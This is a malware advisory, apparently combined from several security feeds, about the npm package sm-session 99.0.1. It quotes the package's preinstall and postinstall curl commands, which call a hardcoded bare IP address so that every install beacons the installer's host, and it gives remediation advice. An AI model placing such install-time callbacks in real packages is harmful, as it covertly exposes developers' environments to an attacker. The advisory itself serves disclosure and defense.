Malicious code in sm-session (npm)

---

__

Source: amazon-inspector (ef638f6aa70fe3af65e927efad452743a47f30a2aead95446181742704d9bd24)

package.json declares preinstall and postinstall lifecycle scripts that each run curl -s http://16.192.173.5/sm-session/pre and curl -s http://16.192.173.5/sm-session/post on npm install. The destination is a hardcoded bare IPv4 over plain HTTP with path segments identifying the package name and lifecycle stage, so every install signals the installer's host (source IP, user-agent, timing) to an operator-controlled endpoint. The behavior is the canonical dependency-confusion reconnaissance shape: a name-squat package whose only install-time action is a callback identifying which environments resolve the name. No legitimate package purpose is served by a plain-HTTP beacon to a bare IP in both pre- and postinstall hooks.

Source: ghsa-malware (4a2d380d6ee8962fa08a64ed46e97d530797c008f516c0cf19ccc8ce7dbebb49)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Source: ossf-package-analysis (dc10328735ea596affb97ec9cd39bb62b49ed2017e4a11c0c27b1db7839aa405)

The OpenSSF Package Analysis project identified 'sm-session' @ 99.0.1 (npm) as malicious.

It is considered malicious because:

• The package executes one or more commands associated with malicious behavior.